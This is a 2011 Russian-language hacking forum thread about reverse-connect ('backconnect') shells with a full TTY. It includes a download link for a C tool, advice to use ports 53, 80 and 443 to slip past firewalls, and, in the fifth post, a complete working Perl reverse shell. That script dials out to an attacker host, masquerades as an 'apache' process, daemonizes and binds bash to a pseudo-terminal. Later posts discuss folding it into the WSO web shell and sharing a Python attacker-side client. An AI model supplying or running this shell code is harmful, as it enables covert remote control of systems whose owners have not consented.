Старый 06.04.2011, 20:11   #1
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию [Tool] TTY Backconnect

Иногда бывает, что нужен нормальный шелл, в котором работают ssh, su, sudo и прочее, а на целевой системе нельзя воспользоваться SSH. В таком случае можно запустить этот backconnect. Дает полноценный шелл, выделяет под него tty. Написан на C.

>> http://artofhack.kz/download/hack/backconnect.zip <<

ps. лучше всего использовать порты 53 80 443, наибольшая вероятность что фаервол пропустит такое соединение.
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 06.04.2011, 21:01   #2
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Кстати, в мире вообще нехватка _современных_ шеллов с tty (этот 2006 года).

З.Ы.
Кто автор?
__________________
Мой блог: http://qwazar.ru/.

Последний раз редактировалось Qwazar; 06.04.2011 в 21:11..
Qwazar вне форума   Ответить с цитированием
Старый 06.04.2011, 21:14   #3
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

честно говоря без понятния кто автор. нашел на каком-то забугорном сайте посвещенном ИБ
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 06.04.2011, 21:31   #4
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

ps. что бы не создавать новый топик.

у netcat есть несколько недостатков,
во-первых он отправляет данные только когда видит CR+LF.
во-вторых там не работают CTRL+C и прочие интерактивные вещи

хорошо бы сделать полностью интерактивный шелл, насколко я понимаю тут проблема только в клиентской части, серверная (т.е. backconnect выше) уже дает клиенту интерактивыный шелл. кто-нибудь с этим сталкавался?
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 08.04.2011, 21:50   #5
destiny
 
Аватар для destiny
 
Регистрация: 11.08.2010
Сообщений: 243
Репутация: 79
По умолчанию

перл, немного удобнее, чем c:
Код:
#!/usr/bin/perl -w

use IO::Socket;
use Fcntl;

# IOCTLs
$TIOCGPTN = -2147199952;
$TIOCSPTLCK = 1074025521;
$EAGAIN=11;

print "pmsh.pl v0.1 (c) 2006 Michael Schierl <schierlm-public AT gmx DOT de>\n";

$HOST=$ARGV[0];
$PORT=$ARGV[1];
$0="apache";
print "Connecting to $HOST:$PORT... ";

$sock = new IO::Socket::INET (
	PeerAddr => $HOST,
	PeerPort => $PORT,
	Proto => 'tcp',
	Blocking => 0,
) or die $!;

print "ok\nAllocatig pseudo terminal... ";

## ptsname
sysopen (PTMX, '/dev/ptmx', O_RDWR|O_NONBLOCK) or die $!;
$tmp='';
ioctl (PTMX, $TIOCGPTN, $tmp) or die $!;
$pts = unpack('i', $tmp);

print "/dev/pts/$pts\nInitializing pseudo terminal... ";

## grantpt not needed on devpts

## unlockpt
$unlock=pack('i', 0);
ioctl(PTMX, $TIOCSPTLCK, $unlock) or die $!;

## prepare daemonizing
chdir '/' or die $!;
open STDIN, '/dev/null' or die $!;
umask 0;

print "ok\nForking shell thread...";

defined($pid = fork) or die $!;
exit if $pid;
defined($pid = fork) or die $!;
if (!$pid) {
	exec("/sbin/getty -n -l /bin/bash 38400 /dev/pts/$pts") or
	exec("/bin/bash </dev/pts/$pts >/dev/pts/$pts 2>/dev/pts/$pts") or
	die $!;
	exit;
}        

print "ok\nHave fun!\n";

open STDOUT, '>>/dev/null' or die $!;
open STDERR, '>>/dev/null' or die $!;

$pp = PTMX;
$rin=$win=$ein='';
vec($rin,fileno($pp),1) =1;
vec($rin,fileno($sock),1) = 1;

select $sock;
$|=1;
select PTMX;
$|=1;
select STDOUT;
$|=1;
$finished=0;

sub forwarddata {
	my ($from,$to) = @_;
	while(1) {
		$rv = sysread($from, $buff, 1024);
		last if (!defined($rv) && $! == $EAGAIN);	
		defined($rv) or die $!;
		if ($rv == 0) { $finished = 1; last;}
		while(length $buff > 0) {
			$rv = syswrite($to, $buff, length $buff);
			if (!defined($rv) && $! == $EAGAIN) {
				## try again
				next;
			}
			defined($rv) or die $!;
			last if ($rv == length $buff);
			substr($buff,0,$rv) = '';
		}
	}
}

while(! $finished) {
	$nfound = select($rout=$rin, $wout=$win, $eout=$ein, undef);
	die $! if ($nfound == -1);
	forwarddata($pp,$sock);
	last if $finished;
	forwarddata($sock,$pp);
	last if $finished;
}
close PTMX;
close $sock;
$wout=$eout.$wout.$rout;
Что-то я там подправлял, что — не помню

Цитата:
во-первых он отправляет данные только когда видит CR+LF.
это осмысленно. для мгновенной отправки есть телнет.
Цитата:
во-вторых там не работают CTRL+C и прочие интерактивные вещи
это нельзя передавать без изменения серверной части. Вернее, ctrl+c послать можно, но он не будет интерпретирован как SIGINT.
destiny вне форума   Ответить с цитированием
Старый 09.04.2011, 11:15   #6
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

Цитата:
это осмысленно. для мгновенной отправки есть телнет.
К сожалению телнет не умеет слушать порт. Можно конечно подправить исходники (благо там не много), но хотелось бы более простое и переносимое решение.

А так благодарю за perl вариант! Скопировал себе
ArtOfHack Slon вне форума   Ответить с цитированием
Старый 09.04.2011, 18:28   #7
ont
 
Аватар для ont
 
Регистрация: 16.12.2010
Сообщений: 57
Репутация: 92
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
Кстати, в мире вообще нехватка _современных_ шеллов с tty (этот 2006 года).
Что понимать под _современным_ шеллом? Шифрование трафика? Умные фичи?
В связи с этим можно ли сюда запостить самодельный pty шелл на python? (клиент + сервер; reverse connect, сервер нужен для полноценного терминала на стороне атакующего; трафик не шифруется)
ont вне форума   Ответить с цитированием
Старый 09.04.2011, 19:21   #8
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Цитата:
Что понимать под _современным_ шеллом? Шифрование трафика? Умные фичи?
Ну, я скорее имел в виду варианты типа WSO, в котором вместо bc.pl использовался бы скрип похожий на описанный выше. А так, пость конечно.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 09.04.2011, 20:50   #9
destiny
 
Аватар для destiny
 
Регистрация: 11.08.2010
Сообщений: 243
Репутация: 79
По умолчанию

Цитата:
Сообщение от Qwazar Посмотреть сообщение
Ну, я скорее имел в виду варианты типа WSO, в котором вместо bc.pl использовался бы скрип похожий на описанный выше.
я же просил его в wso добавить, пару раз просил, но меня игнорили
destiny вне форума   Ответить с цитированием
Старый 10.04.2011, 06:50   #10
ArtOfHack Slon
 
Регистрация: 06.04.2011
Сообщений: 11
Репутация: 3
По умолчанию

ont можно взглянуть на питоновский вариант, тут или в личке. Буду оч благодарен
ArtOfHack Slon вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot